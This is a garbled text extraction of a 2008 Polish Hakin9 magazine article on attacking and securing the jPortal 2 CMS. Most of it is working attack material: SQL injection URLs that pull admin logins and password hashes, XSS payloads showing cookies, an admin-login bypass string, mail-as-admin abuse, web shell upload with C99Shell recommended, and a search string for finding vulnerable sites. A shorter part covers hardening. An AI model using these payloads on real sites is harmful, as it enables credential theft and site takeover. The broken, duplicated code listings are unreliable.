16
POCZĄTKI
HAKIN9 4/2008
Z
arówno instalacja, jak i administracja
tym systemem są bardzo proste.
Być może dlatego jest on tak
rozpowszechniony. Ale również dlatego, że
bez żadnej wiedzy na temat tworzenia stron
możemy cieszyć się profesjonalnym wyglądem
naszej strony. Jednak CMS posiada wiele
błędów. Przyjrzymy się im oraz spróbujemy
zabezpieczyć naszą stronę przed atakami
hakerów.
SQL Injection
Pierwszą luką, jaką posiada nasz system jest
możliwość wstrzyknięcia zapytania do bazy
MySQL. Przeanalizujmy jedno z zapytań:
ARTUR CZYŻ
Z ARTYKUŁU
DOWIESZ SIĘ
jak ominąć zabezpieczenia
systemu jPortal 2,
jak zabezpieczyć jPortal 2.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy PHP,
znać podstawy SQL Injection
i XSS.
articles.php?topic=-100 union select 1,
concat(nick,char(58),pass),
3,4,5 from admins limit 1/*
W powyższym zapytaniu wykorzystywany jest błąd
w pliku articles.php. Zwróćmy jednak uwagę na
każdą część naszego zapytania. Rozpoczynamy
-100
lub jakimiś innymi znakami, które zwrócą
Stopień trudności
Niebezpieczny
jPortal 2
Ostatnio przeglądając strony internetowe zwróciłem szczególną
uwagę na szeroko rozpowszechniony system portalowy o nazwie
jPortal 2.
Rysunek 1.
Efekt wstrzykniętego zapytania – SQL
Injection.
Listing 1.
Przykładowe zapytania
.php
?
what=article&id=1
%20
AND
%201
=0
%20
UNION
%20
SELECT
%20
id,id,nick,pass,id,id,id,id,id
%20
from
%20
a
dmins
%20
LIMIT
%201
comment.php
?
what=news&id=1
and
1=0 union
(
select null, null, nick, null, null, null, null, null,
null, null, null, null from admins limit n,1
)
comment.php
?
what=news&id=284
and
1=0 union
(
select null, null, pass, null, null, null, null, null,
null, null, null, null from admins limit n,1
)
.php
?
what=article&id=1
AND
1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1
news.php
?
id=1
%20
AND
%200%20
=
%201%20
UNION
%20
SELECT
%20
*,
%201
,
%201
,
%201
,
%201%20
FROM
%20
admins
%20
—
.php
?
what=article&id=1
%20
AND
%201
=0
%20
UNION
%20
SELECT
%20
id,id,nick,pass,id,id,id,id,id
%20
from
%20
a
dmins
%20
LIMIT
%201
forum.php
?
cmd=search&word=Trey&where=author
%20
and
%201
=0
%20
union
%20
select
%20
null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null
%
20from
%20
admins
%20
/*
forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null% 20from%20users%20/*
articles.php?topic?id=-2/**/
UNION
/**/
SELECT
/**/
1,concat
(
pass,
char
(
58
)
,nick
)
,3,4,5
/**/
from
/**/
admins/
*
articles.php
?
topic=-100 union select 1,concat
(
nick,
char
(
58
)
,pass
)
,3,4,5 from admins limit 1/*
17
NIEBEZPIECZNY JPORTAL 2
HAKIN9
4/2008
błąd – nic nie stoi na przeszkodzie, aby
użyć identyfikatora rozpoczynającego się
znakiem minus.
Union select 1,concat(nick,
char(58),pass),3,4,
5 from admins limit 1/*
to zapytanie do bazy, które oznacza w
dosłownym tłumaczeniu Wyciągnij z
bazy admins z drugiej kolumny (login
i hasło), pierwszego użytkownika.
Zapytanie wystarczy dokleić do strony,
np. http://www.przykładowastrona.pl/
articles.php?topic=-100 union select 1,con
cat(nick,char(58),pass),3,4,5 from admins
limit 1/*. Po wklejeniu takiego zapytania w
pasek adresu przeglądarki i wywołaniu
strony na ekranie w miejscu nazwy tematu
powinny nam się ukazać login i hasło:
Artykuły >> admin:52g76h78jh87yu6ty6u7i8u
7y6t5t6y4.
Nasze hasło będzie prawdopodobnie
zakodowane w postaci skrótu MD5
(lub przy pomocy innego algorytmu
szyfrującego, choć niekiedy może
być w postaci jawnej – zobaczymy
wtedy coś takiego: Artykuły >> admin:
mojetajnehaslo (Rysunek 1). Inne
zapytania, jakich możemy użyć, aby
uzyskać pożądany efekt, znajdują się na
Listingu 1. Zapytania możemy dowolnie
modyfikować w zależności od naszych
potrzeb, np. zamiast wyciągać z bazy
danych hasło możemy użyć poleceń typu
database()
,
now()
,
version()
,
load _
file()
. Zapytania możemy dowolnie
łączyć dzięki wykorzystaniu funkcji
concat()
, np.
articles.php?topic=-100 union select 1,
concat(nick,char(58),pass,char(58),
database()),3,4,5 from admins limit 1/*.
Funkcja
char()
wczytuje znak o
podanym kodzie z tablicy ASCII
– w naszym przypadku wartości
58
przyporządkowany jest dwukropek.
Jeżeli podane zapytanie zwróci błąd,
prawdopodobnie podaliśmy złą liczbę
kolumn lub nazwę bazy. Najczęstszymi
nazwami bazy dla przykładowej strony
http://przykladowastrona.pl będą bazy
o nazwie: jp_admins, admins, users,
jp_przykladowastrona, przykladowastrona_
admins, przykladowastrona_users. Myślę,
że zrozumieliście, o co mi chodzi, dlatego
przejdziemy teraz do błędów XSS.
XSS
Kolejnym błędem, który występuje w
naszym systemie portalowym, jest błąd
pozwalający wstrzyknąć kod wykonujący
się po stronie serwera. Przyjrzyjmy się
poniższemu zapytaniu:
http://www.przykładowastrona.pl/
news.php?page=666&news=”>
<script>alert(0);</script>
Gdybyśmy uruchomili w przeglądarce
taki kod, zostałoby wyświetlone tradycyjne
zero (0). Wiele osób uważa, że taki
atak nie jest niebezpieczny. Z pewnego
punktu widzenia jest tak w istocie,
ale jeżeli umiejętnie spreparujemy
zapytanie, możliwe jest między innymi
przechwycenie cookies administratora
strony. Poniższy kod zwróci nam nasze
cookies na stronie:
http://www.przykładowastrona.pl/
news.php?page=666&news=”><script>alert
(document.cookie);</script>
W Sieci
• http://cc-team.org,
• http://milw0rm.com,
• http://packetstorm.org,
• http://securityfocus.com,
• http://securitydot.com,
• http://www.jp.packs.prv.pl,
• http://www.haxite.org/index.php3?site=ar
tykul&nx1=artykul_view&id=792.
Rysunek 2.
PHPShell – narzędzie posiada masę opcji, które ułatwią administrację stroną
Listing 3.
Przykładowe zapytania do
ataków XSS
module.php
?
op=forum&category=
[
xss
]
module.php
?
op=forum&page=
[
xss
]
&cmd=show
&id=
[
xss
]
&catego
ry=
[
xss
]
.php
?
what=news&id=
[
xss
]
.php
?
what=article&id=
[
xss
]
module.php
?
op=sendnews&id=
[
xss
]
Listing 4.
Zabezpieczanie jPortal 2
<?
mysql_query
(
"INSERT INTO tabela
(
id,
post, get
)
VALUES
(
NULL,
'htmlspecialchars($_POST[x])'
,
'htmlspecialchars($_GET[x])'
)
;";
?>
Listing 2.
Błąd występujący w pliku
mailer.php
mailer.php
?
to=adresat
.com&sub
ject
=TestWiadomosci&from_name=Admin&
from_mail=admin
@adres
.com&body=
TestExploita&ok=wyslij&cmd=sendmail
18
POCZATKI
HAKIN9 4/2008
NIEBEZPIECZNY JPORTAL 2
19
HAKIN9
4/2008
Nie powinniśmy lekceważyć tego
błędu.
Błąd w panelu
administracyjnym
Istnieje również błąd w panelu
administracyjnym, który w pewnych
przypadkach pozwala nam na logowanie
bez znajomości hasła. Wystarczy w pole
login wpisać następujący kod:
blad' OR
id=1 OR id<>'0
. Ta metoda jednak nie
zawsze działa.
E-mail ze strony
jako administrator
Kolejny błąd występuje w pliku mailer.php
w zmiennej
$to
. Pozwala nam on na
wysłanie e-maila z konta administratora
strony na dowolny inny adres e-mail.
Przeanalizujmy poniższe zapytanie:
adresat@email.com
– w to miejsce
wklejamy e-mail na który wysyłamy;
admin@adres.com
– tutaj umieszczamy
adres admina, czyli w naszym przypadku
jest to:
admin@podatnastrona.pl
;
TestWiadomosci
– tutaj wklejamy tekst,
który ma się znaleźć w e-mailu.(Listing 2.)
Bezpośrednią przyczyną występowania
tego błędu jest fakt, że jPortal 2 nie
sprawdza, czy zmienna pochodzi z tablicy
POST czy GET.
Bezpieczeństwo
Pokażę teraz, jak możemy zabezpieczyć
jPortal 2 tak, aby uniemożliwić
lub chociaż zminimalizować
prawdopodobieństwo udanego ataku.
Listing 5.
Zmiana sposobu dostępu do logowania na panel administratora
//1. W pliku admin.php
//a) zamiast
include
(
"admin/01.adm.php"
)
;
include
(
"admin/02.adm.php"
)
;
//wpisujemy
include
(
"tajnelogowanie/01.adm.php"
)
;
include
(
"tajnelogowanie/02.adm.php"
)
;
//b) zamiast
<?
if
(
file_exists
(
'admin/'
.
$op
.
'.adm.php'
))
{
include
(
'admin/'
.
$op
.
'.adm.php'
)
;
}
elseif
(
$op
==
''
)
{
$cmd
=
'options'
;
include
(
'admin/.adm.php'
)
;
?>
//wpisujemy
<?
if
(
file_exists
(
'tajnelogowanie/'
.
$op
.
'.adm.php'
))
{
include
(
'tajnelogowanie/'
.
$op
.
'.adm.php'
)
;
}
elseif
(
$op
==
''
)
{
$cmd
=
'options'
;
include
(
'tajnelogowanie/.adm.php'
)
;
?>
//c) zamiast
if
(
$_REQUEST
[
'cmd'
]
==
'logout'
)
{
$_SESSION
[
'nick'
]
=
'********************'
;
$_SESSION
[
'pass'
]
=
'********************'
;
header
(
'Location: admin.php'
)
;
}
//wpisujemy
if
(
$_REQUEST
[
'cmd'
]
==
'logout'
)
{
$_SESSION
[
'nick'
]
=
'********************'
;
$_SESSION
[
'pass'
]
=
'********************'
;
header
(
'Location: tajnelogowanie.php'
)
;
}
//d) zamiast
admin_nawigator
()
;
//wpisujemy
tajnelogowanie_nawigator
()
;
/*e) zmieniamy nazwę pliku admin.php na tajnelogowanie.php oraz
folderu admin na tajnelogowanie.*/
//2. W pliku .adm.php
//zamiast
echo
'
<
form method=
"post"
action=
"admin.php?op='.$op.'"
><
font
size=
"2"
><
b
>
·
<
/b
>
Dodanych komentarzy:
<
b
>
'.$n.'
<
/b
><
br
>
';
//wpisujemy
echo
'
<
form method=
"post"
action=
"tajnelogowanie
.php?op='.$op.'"
><
font size=
"2"
><
b
>
·
<
/b
>
Dodanych komentarzy:
<
b
>
'.$n.'
<
/b
><
br
>
';
//3. W pliku 01.adm.php
//zamiast
header
(
"Location: admin.php"
)
;
//wpisujemy
header
(
"Location: tajnelogowanie.php"
)
;
//4. W pliku 02.adm.php
//zamiast
<?
echo
'
<
a href=
"admin.php"
class=
"t_main"
>
Opcje
administracyjne
<
/a
>
';
if(file_exists('
admin/
'.$file.'
.name
')) {
$name = file('
admin/
'.$file.'
.name
');
if(file_exists('
admin/
'.$file.'
.name
')) {
$name = file('
admin/
'.$file.'
.name
');
echo '
<
td class=
"uni_01"
>
'.$wp1.'
·
<
a
href=
"admin.php?op='.$file.'"
>
'.$name[0].'
<
/a
><
/td
>
';
function admin_nawigator(
)
{
<
b
><
a href=
"admin.php?cmd=logout"
>
wyloguj
<
/a
>
';
//wpisujemy
<?
echo
'
<
a href=
"admin.php"
class=
"t_main"
>
Opcje
administracyjne
<
/a
>
';
if(file_exists('
tajnelogowanie/
'.$file.'
.name
')) {
$name = file('
tajnelogowanie/
'.$file.'
.name
');
if(file_exists('
tajnelogowanie/
'.$file.'
.name
')) {
$name = file('
tajnelogowanie/
'.$file.'
.name
');
echo '
<
td class=
"uni_01"
>
'.$wp1.'
·
<
a
href=
"panel.php?op='.$file.'"
>
'.$name[0].'
<
/a
><
/td
>
';
function
tajnelogowanie _nawigator
()
{
<
b
><
a href=
"tajnelogowanie .php?cmd=logout"
>
wyloguj
<
/a
>
';
/*Teraz nasz panel do logowania zamiast w pliku admin.php
znajduje się w pliku tajnelogowanie.php.
Utrudni to agresorowi zniszczenie naszej
strony.*/
POCZATKI
18
POCZATKI
HAKIN9 4/2008
NIEBEZPIECZNY JPORTAL 2
19
HAKIN9
4/2008
Będziemy używać do tego głównie funkcji typu
htmlspecialchars()
,
mysql _ real _ escape _
string()
,
strip _ tags()
,
add _ slashes()
,
mysql _ escape _ string()
. Możemy bawić się
samemu w zabezpieczanie jPortal 2, modyfikując kod
– tak, jak pokazano na Listingu 4.
Zmiana nazwy pliku odpowiedzialnego za
logowanie do panelu administratora również nieco
utrudni agresorowi włamanie na naszą stronę.
Opisane to zostało na Listingu 5.
Polecam jednak inną metodę. W Internecie
udostępniane są łatki na jPortal 2, np. userpatch
v1.0s, userpatch v1.1s oraz userpatch_beta_v09.
Zawierają one szereg uaktualnień do naszego
CMSa.
Na dzień dzisiejszy nie ma jeszcze oficjalnego
exploita na UserPatch, możemy go pobrać ze
strony 6 (patrz ramka W Sieci). Zaoszczędzi to nam
sporo czasu.
Jeśli chodzi o błędy SQLInjection, XSS (a także
wiele innych) i sposoby zabezpieczenia przed nimi,
to polecam stronę 7, gdyż jest to tam – zwięźle,
lecz bardzo dobrze – opisane.
Upload PhpShella
z poziomu Menu Administracyjnego
PhpShell pozwala nam na obsługę strony tak,
jakbyśmy byli zalogowani na jej serwer FTP (Rysunek
2). Wgranie Phpshell jest bardzo proste – aby to zrobić,
należy wejść do Panelu Administratora. Następnie
przechodzimy do opcji Download i w menu Uploader
wybieramy plik, który chcemy załadować na serwer. W
naszym przypadku będzie to nazwashella.php. Jeżeli
nie modyfikowaliśmy żadnych ustawień, to shell będzie
znajdować się w katalogu uploads/download. Adres
do naszego shella będzie przykładowo wyglądać
tak: http://www.naszastrona.xx/uploads/download/
nazwashella.php.
Obsługa PHPShella jest bardzo prosta. Mamy do
dyspozycji wiele jego odmian – osobiście polecam
C99Shell, gdyż posiada najszerszą funkcjonalność.
Podsumowanie
Artykuł ukazuje, że nawet bez znajomości
zaawansowanych technik hakerskich zwykły
użytkownik może dokonać udanego ataku na
witrynę. Potencjalnie podatnych stron w Internecie jest
wiele. Wystarczy wpisać w wyszukiwarce: Powered by
jPortal 2.
Myślę, że administratorzy, którzy używają jPortal
2, po przeczytaniu artykułu podejmą odpowiednie
kroki mające na celu zabezpieczenie swojego
systemu.
Artur Czyż
Od 6 lat interesuje się bezpieczeństwem Sieci.
Kontakt z autorem: blackgeocities@wp.pl